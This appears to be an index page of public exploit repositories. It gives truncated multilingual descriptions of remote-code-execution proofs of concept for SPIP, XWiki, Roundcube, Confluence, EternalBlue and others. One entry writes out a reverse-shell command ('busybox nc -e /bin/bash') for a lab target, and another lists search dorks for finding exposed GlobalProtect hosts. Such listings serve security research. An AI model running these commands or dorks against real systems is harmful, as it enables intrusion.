CVE-2024-7954

CVE-2024-7954 - SPIP 4.2.8 リモートコマンド実行 RCE エクスプロイト このスクリプトは、SPIP バージョン 4.2.8 の porteplumeprevisu エンドポイントを介したリモートコード実行の脆弱性を悪用します。この脆弱性により、認証されていない攻撃者が、細工された画像タグのプレビューレンダリングを通じて PHP コードを注入できるようになります。 CVE ID: CVE-2024-7954 コンポーネント: SPIP CMS porteplumeprevisu 影響: 認証されていないリモートコマンド実行 重大度: 重要 エクスプロイトの機能...

CVE-2018-8172

CVE-2018-8172 Microsoft Visual Studio CVE-2018-8172 リモートコード実行の脆弱性 http://darkcert.com/2018/08/microsoft-visual-studio-remote-code-execution-cve-2018-8172/ https://twitter.com/SyFi2k...

uc_browser_poc_CVE-2022-1364

UCBrowserExploit.js 简介 以下所有内容均指 Interrupt Labs 发布的文章中探讨的 UC 浏览器漏洞利用。 快速开始 此漏洞利用针对包含 CVE-2022-1364 远程代码执行（RCE）漏洞的旧版 UC 浏览器。该漏洞已于 2024 年末在 UC 浏览器中修复。运行此漏洞利用无需额外的依赖项。 请查看所提供的文章链接，了解浏览器及漏洞利用的安装过程。...

CVE-2020-35682

CVE-2020-35682 SD-91948: CVE-2020-35682: ServiceDesk Plus の SAML ログイン時における認証バイパス脆弱性。ManageEngine による説明。ターゲットの ServiceDesk Plus 11134 インストールで SAML ログインが有効になっており、低権限ユーザーの資格情報を持っている場合、管理者に権限昇格し、RCE を得ることができます。 このバグを悪用するための公開エクスプロイトも詳細な説明も存在しなかったため、この POC を公開することにしました。コードはかなり雑ですが、動作します。 インストール git...

CVE-2025-24893

CVE-2025-24893 用リバースシェル python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" シェルのアップグレード 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

CVE-2025-49113-Simulation

Roundcube RCE ラボ CVE-2025-49113 Roundcube Webmail の重大な認証後 RCE 脆弱性（CVE-2025-49113 として識別）をシミュレートおよび悪用するための、実践的なコンテナ化ラボ環境です。 📖 脆弱性について このラボは、Roundcube Webmail クライアントに対する高度な攻撃チェーンを実演します。この脆弱性は、PHP セッションデータの不適切な処理によって引き起こされる認証後リモートコード実行（RCE）であり、PHP オブジェクトデシリアライゼーション につながります。 認証済みの攻撃者は、悪意のある PHP...

CVE-2025-24893

CVE-2025-24893 の PoC — XWiki リモートコード実行（安全な PoC） CVE-2025-24893 の PoC: 15.10.11 、16.4.1 、および 16.5.0RC1 より前のバージョン向けの XWiki リモートコード実行エクスプロイト。 ⚠️ 重要 — 許可されたテストのみ このリポジトリには、教育目的 および許可された脆弱性テスト を目的とした proof-of-concept （PoC）プロジェクトが含まれています。所有していない、または明示的な書面によるテスト許可を得ていないシステムに対して、エクスプロイトコードや手法を使用しないでください...

CVE-2019-15029

CVE-2019-15029 FusionPBX v4.4.8 のリモートコード実行 CVE-2019-15029 に対する公式エクスプロイトコード Metasploit モジュール この問題を悪用する簡単な Metasploit モジュール fusionpbxservices.rb を作成しました。ダウンロードして Metasploit モジュールディレクトリにコピーするだけです。...

CVE-2024-50379-POC

CVE-2024-50379-POC このリポジトリには、CVE-2024-50379 を悪用する Python スクリプトが含まれています。この脆弱性を利用すると、攻撃者は脆弱なサーバーに JSP シェルをアップロードし、リモートで任意のコマンドを実行できます。このエクスプロイトは、対象サーバーの /uploads ディレクトリが保護されていない、または存在しない場合に特に有用です。 概要 CVE-2024-50379 は、ファイルアップロードを適切に処理しないサーバーに影響を与える脆弱性であり、攻撃者が JSP...

CVE-2025-58434-AND-59528-POC

Flowise Dual CVE PoC — CVE-2025-58434 + CVE-2025-59528 ⚠️ 教育目的および許可されたセキュリティ研究専用です。 このツールを、自分が所有していない、または書面による許可を得ていないシステムに対して実行することは違法 です。 目次 概要 脆弱性の詳細 CVE-2025-58434 — アカウント乗っ取り CVE-2025-59528 — リモートコード実行 完全な攻撃チェーン 影響を受けるバージョン リポジトリ構成 要件 インストール 使用方法 デフォルトの動作 ヘルプ画面 チェーンモード モジュール — ATO モジュール — ログイ...

CVE-2017-0144---EtneralBlue-MS17-010-Remote-Code-Execution

CVE-2017-0144---EtneralBlue-MS17-010-リモートコード実行 攻撃マシンはKali Linuxで、ターゲットマシンはWindows Server 2008 R2です。 指定された https://drive.google.com/drive/folders/146ViggeQl0pSpzotcAhpd3h9UP7fFOxJ?usp=sharing から Windows 2008 R2 Server を VirtualBox にインポートし、ネットワークをブリッジアダプターに設定してください。 以下の手順に従って、脆弱性を悪用します。 ステップ1:...

CVE-2024-3400-RCE-Scan

サイバースペースマッピングDork Fofa app="paloalto-GlobalProtect" https://en.fofa.info/result?qbase64=YXBwPSJwYWxvYWx0by1HbG9iYWxQcm90ZWN0Ig%3D%3D Zoomeye app:"Palo Alto Networks firewall httpd" https://www.zoomeye.hk/searchResult?q=app%3A%22Palo%20Alto%20Networks%20firewall%20httpd%22&from=5o6o54m5MjQwNDE0MDE...

CVE-2019-7214

CVE-2019-7214 .NET反序列化导致的远程代码执行，影响SmarterMail系统。 收集 请在此仓库中找到该漏洞的概念验证集合。可能有些无需修改即可按预期工作，而有些则需要修改。...

CVE-2024-25641

Cacti CVE-2024-25641 認証済みパッケージアップロードRCE 概念実証 PoC このスクリプトは、Webベースの監視ツールであるCactiにおけるCVE-2024-25641脆弱性を悪用するための概念実証（PoC）です。スクリプトは、アプリケーションへの認証、悪意のあるパッケージのアップロード、リバースシェルの起動を自動化します。 必要条件 Python 3.x requests ライブラリ argparse ライブラリ re ライブラリ 必要なPythonライブラリはpip3を使用してインストールできます： pip3 install requests pip3...

git-dumper

git-dumper ウェブサイトからGitリポジトリをダンプするツール。 インストール pipで簡単にインストールできます： pip install git-dumper 使用方法 usage: git-dumper options URL DIR Dump a git repository from a website. positional arguments: URL URL DIR 出力ディレクトリ optional arguments: -h, --help このヘルプメッセージを表示して終了 --proxy PROXY 指定されたプロキシを使用 -j JOBS, --job...

ConfluentPwn

ConfluentPwn Confluence事前認証ONGLインジェクションリモートコード実行スキャナー CVE-2022-26134。 使用方法 以下のGIFはツールのデモ使用例を示しています： 以下がツールのヘルプ出力です： $ ./cfscan -h +-------------------------------+ | C O N F L U E N T P W N | +-------------------------------+ + ConfluentPwn by RedHunt Labs - モダンな攻撃表面（ASM）管理企業 + Author: Pinaki...

CVE-2018-7600

CVE-2018-7600 CVE-2018-7600 Drupal SA-CORE-2018-002 Drupalgeddon 2 の PoC。 インストール: $ git clone https://github.com/dwisiswant0/CVE-2018-7600 $ cd CVE-2018-7600/ $ composer install 使用方法: $ php exploit.php 警告! 教育目的のみで使用してください！ 参考文献: - https://research.checkpoint.com/uncovering-drupalgeddon-2/ -...

CVE-2023-43208-mirth-connect-rce-poc

Mirth ConnectにおけるRCE脆弱性 CVE-2023-37679 および CVE-2023-43208 このエクスプロイトスクリプトとPoCは、vsocietyでの詳細なCVE分析のために作成されました。CVE-2023-43208は、病院や診療所が患者データを共有するために使用されるツール、NextGen Mirth Connectにおける深刻なセキュリティバグです。このバグにより、攻撃者はパスワードを必要とせずにシステムに侵入できます。Mirth Connectは医療分野で広く使用されているため、このバグを迅速に修正することは患者情報を保護するために極めて重要です。...

SSTImap

SSTImap このプロジェクトは Tplmap に基づいています。 SSTImap は、Webサイトのコードインジェクションおよびサーバーサイドテンプレートインジェクションの脆弱性を検査し、それを悪用してオペレーティングシステム自体へのアクセスを提供するペネトレーションテストソフトウェアです。 このツールは、SSTIの検出と悪用のための対話型ペネトレーションテストツールとして使用できるように開発されており、より高度な悪用が可能です。SSTImap 用の追加ペイロードは こちら にあります。 ペイロードと技術は以下の情報源から提供されています: James Kettle の...

CVE-2019-3396

CVE-2019-3396 CVE-2019-3396 confluence SSTI RCE 🔎 ¿Qué es CVE-2019-3396? Un error crítico de Confluence Atlassian. Tipo: Inyección de Plantillas + Path Traversal. Riesgo: Ejecución Remota de Código RCE sin inicio de sesión. Estado: Explotado activamente. 🛑 Versiones Afectadas 6.6.0 → 6.6.11 ❌...